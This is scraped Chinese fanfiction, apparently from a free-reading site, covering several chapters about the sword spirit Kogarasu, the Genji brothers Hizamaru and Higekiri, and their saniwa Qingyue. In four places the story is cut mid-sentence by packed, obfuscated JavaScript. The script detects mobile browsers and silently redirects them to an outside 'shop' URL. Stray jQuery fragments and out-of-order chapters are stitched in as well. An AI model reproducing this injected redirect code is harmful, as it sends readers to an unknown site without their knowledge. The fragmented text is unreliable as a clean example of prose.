烛台切光忠点了点头,张开的嘴稍微停顿了一下,然后继续道,“嗯,好像是这样,就连髭切好像也认同了。” “髭、髭切大人也是这么认为的吗?!”小乌震惊的瞪大眼睛,脸色也逐渐变得灰败起来,“髭切大人竟然也是这样看我的吗?不,不能这样,我要改正,我要想办法改正。” 呀,这说的是不是过分了?烛台切光忠犹豫起来,但是,他的脑海里回想起某道白色的身影,应该是这么做的吧? * 等到他们的出阵小队真正结束了任务回到本丸的时候,天已经快黑了,站在他们的部屋门口,小乌现在可以说是肉眼可见的变得消沉下来,几次三番的想要推门又收回了手。 “小乌?你站在部屋门口干什么?” 这是膝丸大人的声音。 “呀,看起来好像是遇到什么麻烦了的样子。” 髭切大人竟然也在! 小乌动作一顿,他惊吓一般的转过身,“髭、髭切大人!还有膝丸大人!你们竟然都不在……原来是去洗澡了吗?” “小乌?”膝丸奇怪的看着情绪低沉的小乌,立马走近,“你怎么了?难道是有人欺负你了?不应该啊,还是受伤了?受伤了为什么还要站在门外?” “没、没有,没有受伤,也没有人欺负我,就是,”小乌抠着自己的手指, 7. 第 7 章 《源氏小乌在本丸》全本免费阅读 万屋刀来刀往。 清月来之前特地算了算大概的时间,觉得小乌到现在都已经实装了有一段时间了,现在出去应该不至于像以前那样引人注目。 嗯!确认过了安全问题,她就不准备忍了,明明刚锻出来的时候她就准备带着刀去万屋了,但是很可惜,被人大家长给拦住了。 髭切不说,但像膝丸担心的那种小乌是什么小心脏会受到惊吓什么的,她只想说膝丸你是完全想多了,小乌小心脏?你是给他加了多少滤镜在里面? 于是,她今天特地趁着髭切和膝丸正好不在,让小乌陪她去万屋买东西。 你说自己为什么一定要趁他们不在?嗯,她乐意,又或许是找刺激? “好多……” “这里有好多东西,好多刀剑。” 小乌的声音里难掩激动,他压低声音,眼里的视线忍不住的四处乱飘,“还有好多髭切大人……” 清月:“……” 说实话,清月提前预想到了很多场面,但她没想到在小乌这里出了岔子。 一人一刀像是做贼似的站在店铺的外墙拐角处,清月正努力将小乌往里拽,“小乌!你不要像个痴汉一样的蹲在这里,小心一会儿被那些膝丸打了。” “主公说错了,膝丸大人才不会如此小气。”小乌一脸认真的回头反驳道。 所以你就可以像是做贼一样的继续躲在一边看着吗? 清月只觉得自己眼前一黑,“是是是,他不会,他不会,是我心胸狭隘,胡乱揣测。” 被这么一说,小乌骤然间沉默了,他皱起眉,像是很不能理解一样,“主公,我的话里并没有这个意思。” 哈?什么意思?什么意思!他没有这个意思,自己有这个意思,难道不就是说自己是在无理取闹? 气死她了! “你看你现在这个样子,你家髭切大人的脸都要被你给丢光了!” 小乌嘴硬想要反驳,但是身后突然传出来一道好奇的声音。 “诶?丢光了我的脸吗?” 清月:“!!!” 小乌:“!!!” 清月看向小乌身后,小乌转过身,一对源氏兄弟正好站在他们面前,髭切微笑道,“这位审神者大人一直在这边鬼鬼祟祟的,我和弟弟还以为是什么可疑人物呢。” 没等清月说话,小乌微微侧身挡住了半个审神者的身体,动作如此,但语气恭敬道,“髭切大人,膝丸大人,请见谅,我和主公并不是什么可疑人物。” 清月则是无言以对,要真的说什么可疑人物,她竟然也没办法完全反驳什么,毕竟小乌你刚刚的行为绝对就是什么板上钉钉的可疑人物。 当然,不要带上她,她就是个被你连累的可怜人。 髭切并未在意清月,他的目光落在比他高了不少的小乌身上,眼里露出了疑惑,若有所思。 “嗯?嗯,我想起来了,之前好像是有过的,你是叫什么来着?” 小乌:“……” 这是个不记得自己名字的髭切大人,不,但是没关系,他有能记住自己名字的髭切大人,啊,真是太、太幸运了! “兄长,这是小乌,是你的仿刀。”膝丸显然习以为常,并且在一旁给髭切提醒名字,不过一双眼睛也不忘打量着这振太刀。 他们的本丸里现在没有小乌,但不代表以后也会没有,现在过来看看他究竟是个什么样的性格也好,免得以后和他们之间有矛盾。 毕竟这家伙在逸闻里是被兄长给砍了的吧,如果是对兄长抱有仇恨的话,膝丸也没办法了,不管他后面是因为什么原因被折断,他也不能放任这点。 “嗯嗯,好像就是这个名字,”髭切连连点头,“我记得,和平家那只乌鸦的名字差不太多。” 小乌微怔,随后道,“是的,髭切大人,就是叫小乌。” 髭切在这个时候突然看向清月,“审神者大人,可以借一下你们本丸的小乌吗?” “诶?借?不行不行!”清月立马摇头拒绝,“你们要和小乌说话也可以,我得跟着,我们家小乌这么胆小单纯,被你们欺负了怎么办?” 小乌:“???” 小乌的眼里露出了震惊,他低头道,“主公?你在说什么?” 清月直接道,“你给我闭嘴,我本来就是偷偷带你出来的,要是被膝丸知道我带你出来,还让你被欺负了,他还不得劈了我。” 小乌:“……” 而听到这里,一旁的膝丸挑眉,髭切眼里也露出了感兴趣的神色。 小乌无语,“主公,你又在开玩笑了,膝丸大人是不可能做出这等犯上之事的,他只是喜欢操些毫无意义的心,请不要担忧。” “看来弟弟和你相处的很不错嘛。”髭切看起来相当意外。 小乌点头,“没错,膝丸大人是很好的人,当然,无论如何,他都还是比不上髭切大人您的。” “这样吗?” “你是这样想的啊。” “家主!小乌!你们在这里干什么啊?!” 虽然都是一样的声音,但是清月硬是从这个语气里听出了自家膝丸的声音,眉头一跳,她下意识的看过去。 哦豁,那熟悉的灵力,那气势汹汹的态度,嗯!果然就是自家的,没错了。 “你怎么能就带着小乌一个人来万屋呢?万一你碰到什么麻烦怎么办?小乌他毕竟才刚来不久,你不能强人所难啊!” 清月乖乖听训,小乌不服了,“我才没有那么弱。” 哟,还敢顶嘴了。 膝丸对着另一个兄长打了个招呼后,便立马看向他,直接对他开火。 “小乌!上次我不是说了吗?我和兄长会一起陪你来万屋的吗?你要是真的想来,和我们说一声就行了,又不是不带你。” 小乌:“……” 好诱人。 他立马低下头,真诚道,“我错了。” 道歉滑跪的太快,膝丸一噎,然后无奈道,“兄长就在后面等着你和家主,一起吧。” 小乌立马道,“髭切大人生气了吗?” “生气?”膝丸反问他,“你觉得兄长他是会为这种事情生气的刀吗?” “哦,那就没事了。” 膝丸:“……” “你是一点都不在乎我是吧!” 小乌道,“并没有,我很在乎膝丸大人的。” 清月在一旁无语接道,“但是在髭切大人面前,全部都得靠边站。” 膝丸接受了这个现实,“好吧,这也是没办法的事情。” “我们回去吧。” “兄长?” “唔,那孩子,我对他稍微有些兴趣了。” “……” “不是看到了吗?那孩子对我没有恶意,所以,不需要担心这件事情。” “是,我明白了,兄长。”
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可恶!他一定就是故意的! 正在厨房帮忙准备早餐的膝丸只是在忽然间感觉到自己的鼻子有点痒,但之后又无事发生,然后也就没有多想了。 小乌去叫兄长起床,也不知道兄长起来了没有,今天也还真是奇怪啊,兄长竟然睡到现在还没有起来,明明昨晚睡得也很早啊。 是因为昨天畑当番太认真所以累着了吗?膝丸在脑海里思考原因,最后只能找到这么一个答案,竟然让源氏重宝去种田,真是…… 总之,都是畑当番的错。 喂马啊,种田啊,大概就都差不多是这个样子了,不然,兄长也不至于会起晚? 正在心里抱怨着内番那些事情,膝丸就看到了正好来厨房看家主早餐的压切长谷部,想起昨晚的事情,“长谷部,昨晚多谢你了,不然小乌他也不可能会乖乖回来。” 压切长谷部对上膝丸感激的眼神,摇摇头,“不,是我该感谢你,我对他说的话也没有用,你要是昨晚不在外面找他,他只会缩在我的房间里不出去。” 烛台切光忠听着他们说话笑了笑,“如果膝丸不在晚上找小乌回去休息的话,小乌压根不可能和长谷部你挤在一起休息的吧。” 在两人看过来之后,烛台切光忠继续道,“本丸里那么多刀剑,和小乌关系好能收留小乌的刀剑,我们不管怎么想也不会想到是你啊,长谷部。” 压切长谷部:“……” 压切长谷部翻了个白眼,“哈,那他还真的是能屈能伸啊。” “哈哈,这点倒是真的,”烛台切光忠正在给审神者的早餐摆盘,“明明平时和长谷部你闹得好像还挺不愉快的,这次因为喝酒的事情也是,结果竟然躲你那里了。” 膝丸听到烛台切光忠的话沉默了,也是,他昨晚当然有想过其他刀剑部屋的可能性,但是长谷部嘛,这的确就是被他排除在外了。 这两个人闹得可是连家主都放弃劝了,虽然明面上会苦恼,但其实在暗地里甚至有的时候还会不动声色拱火的那种,大吵大闹没有,小打小闹嗯……那就是没歇过。 据家主的说法,这也是关系好的一种证明,说他不懂。 膝丸:“……” 膝丸是不懂,膝丸只知道,继续闹下去的话他又得去远征找资源了。 没办法,一方面是家主,一方面是小乌,他能怎么办?只能替他们处理后续了。 以至于昨晚从小乌口中得到这个结果时他还惊讶了,但仔细想想,内心深处好像又不是那么惊讶,没看兄长都只是笑眯眯的说着小乌很有活力吗? 咳咳—— 就是昨晚,自己好像是有些过分了。 但看着小乌明明气得要死,却又因为被睡着的兄长搂住没办法有大动作动弹甚至逃离部屋的样子……膝丸是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12836290|132317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的没忍住,就多说了些话逗了一下。 这就是作为前辈以及哥哥的乐趣吗?膝丸在心里真实的想着。 虽然早上起来的时候被瞪了,但毕竟昨晚欺负过了头后面甚至被气得哭出来了。 说实话,今早看着小乌的时候他其实也有些心虚。 但是没办法,昨晚那个情况实在是太有意思了。 咳——他诡异的想起来自家兄长对自己……膝丸立马摇头,不,这种情况怎么可以把兄长代入呢!就算是……没办法,他是弟弟啊。 一会儿等家主吃完早餐就会开始早会,这是为了防止家主不吃早餐的对身体产生的坏影响,当然,他们付丧神就不需要在意那么多了。 只要有灵力就够了,只要刀还在,那么,再严重的伤势都可以恢复如常。 就是这么简单。 没等一会儿,膝丸道,“家主应该吃得差不多了,我们现在也该去大广间了。” 烛台切光忠放下手里的工具,点头,“嗯,也是。” 和烛台切光忠等几刃一起去大广间,太刀看向膝丸,“你不用回去找髭切吗?” 膝丸摇摇头,“啊?没关系,小乌之前去找兄长了,兄长会和小乌一起过去的。” 虽然面对的是兄长,但兄长在早会这种事情上还是很可靠的,现在作为这代家主的刀剑,迟到早会这种事情可就太不符合源氏重宝对待事情的态度了。 兄长可不会莫名其妙的迟到啊。 所以,完全不用担心。 果然,就在膝丸心里碎碎念想着的时候,他到达了大广间,一眼就看见了坐在一起的自家兄长以及小乌,只是小乌在看见他时还颇为怨念的又瞪了他一眼。 膝丸:“……” 然后膝丸就看见自家兄长面上的笑意更加深了。 “好奇丸,在看什么?快点过来了啊。”髭切对着膝丸招手。 膝丸下意识的应声,随后反应过来,“啊,是,不,不是!我不是好奇丸啊兄长!我是膝丸!” “嗯嗯,哭哭丸昨晚把人给欺负哭了呢。” 小乌抿唇,但又不知道该说什么,说多了引起别人的注意那就太丢人了。 膝丸:“???” 等等?!膝丸沉默了,他算是明白了那一瞪到底是什么意思了,“……兄长?” 昨晚兄长没睡着,膝丸嘴角微抽,啊,可怜的小乌,昨晚可不全是他的问题,兄长是故意装睡的吧,不然小乌还是能跑的。 “嗯?”髭切好似疑惑道。 膝丸默默将嘴边的真相又收了回去,算了,这么简单的道理,小乌也该发现了。 16.第 16 章 早会平平无奇,和以往的情况一样,并没有发生什么特别的事情。 就在会议结束,大家就要各自离开之前,清月突然喊道,“小乌。” 嗯?叫他?小乌立马应声,“主公,是有什么命令吗?” 清月点头,看向他的位置,“我今天要去时之政府开会,你陪我一起去吧。” “我吗?”小乌有些惊讶,但他自然是十分坦然的接下来这样的一个任命,“没问题!”他站起身,“请允许我先回去换上出阵服就来。” “不不不,不用这么着急,”清月摆手,随后她想了想,“嗯,我想想,你等一个小时之后再来找我吧。” 小乌点头,“明白了。” 正好去吃个早饭,然后换个衣服,一个小时的时间绰绰有余了。 刀剑们起身陆陆续续离开,髭切看向清月离开的方向,又看向小乌,“嗯,被家主予以重任了呢。” 小乌也收回目光,并且心情愉悦地回应道,“嗯!” 作为刀剑,被主公看重和使用本身就是一件值得开心的事情。 膝丸也是道,“一定要好好保护家主她,家主她的性格就是太好了。” 小乌回答的也是理所当然,“放心吧,绝对不会让家主她被欺负的。” * 小乌换上了出阵服,一副严阵以待的态度等在天守阁外,出来的清月自然是看到了小乌的动静,她不知道该说些什么,虽然,但是,这未免也有些太严肃了吧。 清月开口道,“小乌,我只是去开个会而已,不是去战场打架。” 所以,就稍微放松一点了啊。 行吧,既然都这么说了,那就这样吧。 “我明白了。” 小乌配合着收敛了自己那副严肃的态度,既然主公喜欢轻松一点的,那他配合着就好了,这种情况下最重要的还是得以主公的心情为主。 两人一起离开了本丸,期间清月就一脸好奇地向他打探着,“呐呐,小乌,你和膝丸最近怎么样?那天晚上喝多了你到底都干了什么?” 小乌:“……” 小乌微笑,他并不想回答这个问题,“什么都没有啊,就只是喝多了而已。” 清月的眼里满眼都是不信,“咦,是谁大晚上不回部屋休息就是为了躲着膝丸?我都听说了,你把膝丸给急的哦,整个本丸都在找人。” 膝丸哪有那样?小乌想要反驳,但这种事情也没必要和主公争辩,小乌想了想,“我没有,我只是想留出更多的时间让髭切大人和膝丸单独相处而已。” “哦~竟然是这样吗?!” “没错,就是这样。” “真的?” “真的。” “我不信。” 小乌:“……” 看着小乌一脸的无语,清月立马道,咳咳——“好了好了,不愿意说就不说,我知道你脸皮薄,不好意思,不会介意的。” “主公,我说的都是真的,不信你……”小乌正说着就立马卡住了,不,不能就这样相信膝丸,至于髭切大人,还是算了,误会就误会吧。 “我怎么?”清月眼睛亮闪闪地等待着接下来的他要说的话。 “不,没什么,”小乌就像是突然间卸了全部的力气,“那天是真的没发生什么。” 清月忍着整张脸的笑意,然后十分努力地收回了笑意,她到底要不要和小乌说髭切已经将那晚的事情和她说了个大概了呢。 虽然小乌自己在意的要死,但在髭切眼里那都可是关系好的证明,说起来时可是用着无比欣慰的态度啊。 哈哈哈——清月感觉自己都快要忍不住笑出声来了。 不行,不行,不能笑,绝对不能笑!哈哈哈哈—— “主公?”小乌一把拉住清月继续向前走的脚步,尽量忽略她那张已经因为忍耐变了形的脸,“主公,已经到传送阵了,不需要再往前走了。” “啊?哦!”清月连忙回过神来,然后干咳两声,“是啊,到了,果然,小乌你就是很可靠。” 小乌:“……” 并不想要在这种情况下这种极其敷衍的夸赞,但是没办法,自家主公能怎么办? “你不担心开会迟到吗?”小乌强笑出来。 清月无所谓道,“没关系,我和以前一样算好时间的,这种事情只要能够踩点到就没事了啦。” “那就好。”小乌点头,像是明白了什么,然后道,“毕竟我可不是长谷部,可以咻的一下在你迟到之前就能带你到时政。” 清月:“???” “啊?” * 时之政府。 清月最后还是提前到了会议室,看着来了大半还没来齐的会议室,在其他审神者的注视下带着小乌找了一个位置坐了下来,刚坐下就仰着头满眼幽怨的盯着小乌。 小乌站在一旁十分真诚道,“恭喜你主公,成功地没有迟到。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12837560|132317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清月:“……” “你就知道催我。”清月不满的抱怨道。 小乌接下抱怨,“虽然只是一场普通的会议,但要是真的迟到那就太懈怠了。” “算了,算了,回去的路上陪我去万屋。”清月冷哼一声,“你不许拒绝!我知道你有零花钱,不仅你自己存的,还有髭切和膝丸他们都给你零花钱了。” “不许说没带,我看到你带了,你是准备回去的时候顺便给髭切他们买东西吧。” 小乌一开始就没打算拒绝啊,他无奈,“我也没说不行啊。” 周围渐渐地安静了下来,小乌站直了身体,他看着自家审神者也不由自主地随着环境的变化而安静下来,自己则是看向四周。 都是熟悉的刀剑啊,更多的还都是初始刀和那些审神者们口中的什么几花几花的稀有刀吧,这些他都是从自家主公口中说出来的。 就像是髭切大人和膝丸的特殊情况,初始二花,给了许多人的错觉,以至于有被不重视和弃用的例子。 想到这里,小乌的嘴角不由自主地往下撇,时之政府就是有眼无珠,像髭切大人那样的刀剑,就该是天下第一才对! 哼—— 都是时之政府的错。 所谓的会议里没有什么特别重要的情报,就是他们这片区域里这段时间战斗情况的总结大会,更多的,最近也没有什么特别的任务,也就没有更多了。 小乌一心两用,一边用耳朵过滤着其中可能会有的重要信息,免得自家主公一不小心心不在焉给听漏了,另一边扫过其他付丧神。 他在看别的刀剑,别的刀剑也有在看他的。 小乌和一振膝丸正巧对上了目光,两人眸子皆是一顿,然后就这样注视着彼此。 其实也不知道有什么想要表达的,小乌也不知道自己是不是脑抽了还是因为别的什么原因,但总之,好像自己先一步移开目光就有一种输了的样子。 于是当看到那振膝丸可能是因为莫名其妙的理由主动移开目光时,小乌满意了。 嗯,没错,你看啊,他赢了膝丸。 赢了就是赢了! 你说怎么赢的? 没看见膝丸都不敢和他对视了,那就是他是输了,这么想着,原先不开心的脸上不自觉地露出了笑意。 膝丸刚移开眸子,又回去看了一眼,就看见对方实在是有些莫名其妙的在开心。 膝丸:“……” 奇奇怪怪。 17.第 17 章 这场无聊的总结会议开得清月整个人都是昏昏欲睡的,小乌低头看向自家心不在焉的主公,听着那些理应“振奋人心”的话语,十分自然地就忽略了自家走神的主公。 这种单纯总结的会议没有兴趣的话的确就没有必要一直听下去,不想听走神什么的也很正常,知道就行,他家主公可是一向都很认真且优秀地在完成自己的工作。 等到这场稍微有些漫长的会议结束,清月和其中几个审神者被时政的领导叫上进去开个小会,刀剑付丧神则是被留在楼下大厅等待着自家审神者出来。 清月对待小乌总是有一种莫名的担忧,或许是第一次见面时就被吓到了,后面即使是这家伙再怎么正常,也难免有阴影,“小乌,你乖乖待着啊,我一会儿就回来。” 小乌从来都不觉得自己是个需要担心的刀剑,对于清月的担忧也都没有注意到,只当做是一句寻常的叮嘱,他简单道,“请放心,主公,我会在下面等你的。” 清月点头,她其实只是下意识的说出来了。 “那好,我走了啊。” 小乌看着自家主公离开,也离开了会议室,然后在楼下大厅找了一个靠墙的位置待着,也能在第一时间看到自家主公下来时的身影。 那个好像是之前被他瞪过的膝丸出现在他的视野里,小乌原本不在意的,但是那振膝丸正在他的审神者说些什么,两人的目光总是时不时地往他这边瞟。 虽然那位审神者的脸上带着护神纸,小乌看不到她脸上的表情,但那个方向……但凭直觉来说应该就是在看自己这边。 小乌:“???” 小乌不理解,小乌发现自己震惊到无法想象,这是在干什么?为什么要盯着他? 他该不会是在和他的审神者告状什么比如他被自己欺负了的事实的吧?膝丸是这种人吗?小乌陷入了自我怀疑之中,然后他就看到那两人朝着自己这边走过来了。 小乌:“……” 行、行吧,如果真的是那样的话,那么他就解释一下吧,本来他也就没做什么。 不过要真是那样,他也不会就这样轻易放过这件事情,他也会告状,等他回去之后他就将事情说给膝丸和髭切大人听,然后狠狠地嘲笑膝丸输不起。 哼—— 小乌表示自己无所畏惧,不知道膝丸到时候会不会恼羞成怒? “你是小乌吗?”对方的审神者是位看起来十分优雅的姬君。 小乌应声,“是我,请问这位大人有什么事情吗?我家主公还在开会。” “我……”那位姬君刚准备要说些什么,就被周围一道不屑的男声打断了,“对源氏重宝那副态度,到底是什么给你的自信,不过就是把没有意义的仿刀而已。” 小乌愣了愣,他立马看向了声音的来源处,倨傲的态度,他身旁的压切长谷部只是跟在身边一言不发,那位审神者还扬了扬下巴,“怎么,你不服吗?” 小乌和膝丸之前的动作交流虽然不大,但还是被有心人给注意到了,这位审神者就是其中一个,他就属于那种十分看不惯当时情况的那种态度。 “不,并没有,你说的不错,并没有什么问题。”小乌心情十分平静地应了下来,然后转而看向站在自己身边的这位审神者,“这位大人找我是有什么问题吗?” 男审:“???” 就这?就这!这家伙对自己到底是什么态度?! “喂!你……”然后他刚准备说些什么,就被他身边的压切长谷部给拉住了,不知道说了什么,然后就愤愤的闭上了嘴,“反正我是绝对不会召唤出你这种刀的。” “可以的,”小乌微微敛眸,随即认真道,“如果不喜欢却意外召唤出我的话,可以直接告知那个我,刀解对我而言并不是什么可怕的事情,不被需要很正常。” “你知道小乌有多难锻吗?!”而这个时候站在小乌身边的审神者听不下去,她抬手微微颤抖着指着对面,“你知道我上次限锻的时候砸了多少资源都锻不出来吗?!” 小乌:“……” 感受到周围看过来的不止一道幽怨的视线,啊,为什么要在这里说这种事情? 小乌看着身边这个语气义愤填膺的审神者,然后和膝丸对视上了,得到了对方一个无奈的表情,对方干咳了一声,显然是对这个情况很习以为常,“家主就是这样。” “你的本丸编号是多少?不说是吧?我自己查!你要只是一时嘴欠就算了,不喜欢不召唤也就算了,反正我会一直盯着你的,你要是敢乱来,你就完蛋了!” 看着对方落荒而逃的背影,那副即使隔着护神纸都是一副气呼呼的样子让小乌一时无言,他突然回想起自己刚显现时的场景,想起了自家主公。 额,如果刚刚自家主公在场的话……小乌的眼里不自觉地露出了无奈,虽然他的确不在意,但到了那时候,果然就只能动手了吧。 “你难道就不会生气吗?”这位审神者的语气里带着几分恨铁不成钢在里面,“那样贬低你,他那样根本就不算是一个合格的审神者,时政到底哪里找来的人。” “可是,那位好像也没说什么过分的事情?”小乌想了想,随后肯定道,“他说的是事实,我本来就是仿刀,是髭切大人的仿刀,这是毋庸置疑的事实。” 审神者:“……” “态度!态度啊!那个态度实在是太过分了!” 小乌笑了,虽然他的确不介意,但对于这位姬君的好意他还是感受到了,然后向她躬身行了一礼,“非常感谢您的维护。” 对方顿时愣住了,稍微有些暴躁的态度变得稍微有些拘谨,然后他看着那道身影在他面前重新变回了一开始的那副优雅的态度,“那,那你能跟我回本丸吗?” 小乌:“???” “啊?”他刚刚听到了什么,小乌眼底的笑意变成了震惊,“您在说什么?” 膝丸在一旁一巴掌拍在自己的额头上,对于眼前的情况也可能是早有预料,所以并不意外,只剩下了满满的无奈,“不,请不要怀疑什么,家主不是那个意思。” “我有主公。”虽然觉得他们应该知道,但小乌开始开口提醒了一下。 审神者立马道,“我知道,我只是向带你回去而已……唔……。” 面无表情的膝丸一把捂住了那位审神者的嘴,“不是这样,不是家主口中那样误会的意思,你的限锻最近又开了,家主只是希望带你回去帮她试着锻刀看看。” 看着那张一直在点头肯定的脸,膝丸终于放开了手,小乌也明白了这位审神者好像的确是这个意思,“我的运气并不是特别好,您还是不要这么想的好。” “万一呢?!”审神者一把握住小乌的说,“我就是试试,资源不够保底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12943233|132317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可我还是想要努力一把啊,万一、万一成功了呢。” “万一啊,可是如果锻刀的是我,应该更不会出来了?本丸里都有了,为什么还要再来?”小乌认真的分析道,“您……” 那位审神者并不想听那么多的拒绝的言语,只是可怜兮兮道,“你不想帮我吗?” 小乌默了默,“这件事情您和我家主公商量吧,如果她同意的话,我没有意见。” “好耶!” 小乌:“……” 最后还是去了,他家主公是个非气十足的人,对于这种情况还是非常热心的,尤其在清月从对方口中得知了刚刚发生的事故之后,当场就瞪了小乌一眼。 然后当场直接拍板,限锻期间想要小乌帮忙就直接过来她的本丸领人就行,两人达成了彼此都满意的无比友好的交易。 两位审神者在前面打打闹闹说着女孩子之间的话题,小乌和膝丸则是跟在她们身后看着她们,坠在不远处,不打扰也能在遇到意外时第一时间赶到。 “你很讨厌我吗?”膝丸忽然问。 小乌愣住,反应过来是膝丸的问题后,下意识的想要回复‘讨厌’,但意识到膝丸的认真后又及时忍住了。 不能就这样凭空地给他们找麻烦,小乌抿了抿唇,然后撇开头,动作幅度极小的摇了摇,低声道,“我不讨厌膝丸大人。” “虽然比不上髭切大人,但膝丸大人一直都在照顾我,会包容我,除了一点,他就是有些啰嗦。”他知道膝丸能看到,也能听到。 膝丸没想到刚刚一直看起来和他不对付的小乌竟然还是这副样子,顿时就感觉惊奇起来,他们的关系好像还不错,而且,竟然还对自己用了敬语? 意识到自己态度的小乌脸色微红,然后努力给自己找补道,“但是!我最喜欢的永远都是髭切大人!” “噗嗤——”膝丸直接笑出声。 小乌抿唇不满,但依旧还是低声道,“不许笑。” 膝丸打量着他,然后点头肯定道,“虽然兄长一直没说自己的看法,但我对你的到来倒是有些期待了。” “哼,还不一定能锻到呢。” 小乌道,“不是说我很难锻吗?我的运气可不好。” “锻不到那也就没办法了啊,不过家主会想办法的吧,家主想要的刀剑,总会努力将你带回来的,我们早晚能见面。” 膝丸说完之后就像是放下了什么,然后心情还不错的移开了目光。 小乌突然间回想起刚刚发生的事情,心情有些犹豫,他想到那个早晚会出现在这个本丸的自己,突然一把扯住了膝丸。 膝丸被拉住,他疑惑地看过来,就听见小乌认真道,“您是髭切大人最亲密的兄弟,这点不会改变。” 见膝丸没反应,他继续道,“我一直都记得自己的身份和职责的。” 膝丸怔住,“啊,是……这样吗?” 前面两位审神者悄悄地一起往后看,清月笑眯眯地收回目光,“你看吧,我就说小乌能和膝丸好好相处的,我家小乌和髭切还有膝丸的关系可好了。” “完全不用担心的。” “那就好,谁让我家髭切的态度完全看不出来,我想要,但又担心相处不好。” “不用担心,小乌很乖的哦,嘿嘿嘿,还会暗戳戳的无意识撒娇,和髭切那个白切黑——完全不一样!” 18.第 18 章 最后的结果是个惨烈的大失败,在对方审神者一副就快要碎掉了的表情中,清月用出了自己最快的速度拉起小乌就跑,然后离开了对方的本丸。 “主公,我都说过了我运气不好,锻不出来也没什么的吧。”小乌觉得自家主公是不是有些过于紧张了。 清月摇摇头,一副你不懂我这是为了救你的表情,“好了好了,你锻不出来万一她兽/性/大发,一定要把你留下怎么办?” “时之政府不管吗?”小乌蹙眉。 “而且我觉得那位审神者是个好人……” 清月瞪大眼睛,她恨铁不成钢道,“这才多久,你就被人给收买了!呵,时之政府是管啊,等他们来了,对方已经将你浑身上下都摸了个遍,我看你怎么办?!” 小乌:“???” “啊?” 清月摇头,满脸都是意味深长道,“你们这些刀剑,在外也是要注意安全的,尤其是你们这种稀有刀,就更要注意了。” 小乌:“……” 额。 “明白了吗?”清月连忙询问道。 小乌脸色复杂的点头,“我明白了,下次遇到直接动手,是吗?” “当然,别被对方的外在表现迷惑住了,想拐你一律不要心软,不要担心给我添麻烦,你家主公我就是不怕麻烦了。” 好吧,既然这是主公的命令,小乌点头认真道,“我明白了。” 看着小乌一脸认真的回应她,清月满意了,但她一想到刚刚发生的事情,就感觉到心里不爽,这么久了,这孩子还是刚开始显现时那样的想法吗? 两人一起往回走,清月嘴唇微动,随后也就嘴快地直接问了出来,“小乌你有没有想过自己如果不是仿品会怎么样呢?” 小乌怔住,听到这句话他的第一反应就是自己听错了,他看向清月,眼里满是不解,重复道,“如果我不是髭切大人的仿品?” “是啊,小乌你明明也是名家打造的吧,还有被被也是,但他就一直都很在意这点,”清月说着狠狠地往一旁踢了踢,“那个家伙到底是什么态度啊?太过分了!你也不给他一点教训!出了事有我在啊!” 小乌看着眼前自顾自生着闷气的审神者,无奈道,“主公,我真的不生气。” 他弯下腰,双眼认真地注视着她,“真的!” “我就是髭切大人的仿品,我因为他和膝丸大人的原因才被允许诞生和存在的,这就是事实,这就是历史,这就是我得以存在的开始。” “完全没有必要对那样一个人类为那种事情生气的啊,我并不觉得那些言语有什么,如果没有髭切大人和膝丸大人,我可能都不会诞生,更别提拥有什么经历。” “所以,请不要再生气了,”小乌单膝在她身前跪下,他向自己的主公低下头,“您也无需太过为我担忧。” “诚然,髭切大人和膝丸大人对我来说很重要,可您如今是我的主公,我是您的刀剑,不论遇到什么,只要您还需要我……” “像初次见面时那样的事情,是绝对不会发生的了。” 小乌抬起头,“请放心吧,我还想看到您的成长呢,想看着您一直成长下去。” 最后的结果以清月飞快的回了本丸,然后开始了躲着小乌的情况。 惹得压切长谷部这几天不止一次的瞪着小乌,他偏偏还不能瞪回去。 被小乌牵累连带着一起不被待见的膝丸叹了口气,“你到底对家主都做了什么?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12943234|132317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 小乌移开目光,“也没什么,就说了几句话而已啊。” 膝丸:“……” 最后膝丸妥协了,“哈,算了,既然家主没别的意思,躲着就躲着吧。” * “谦信景光,堀川国广,山姥切国广,小乌,膝丸……以及,”压切长谷部正在通知因为溯行军紧急出阵的队伍,他将出阵令放下,最后看向髭切,“队长是髭切。” 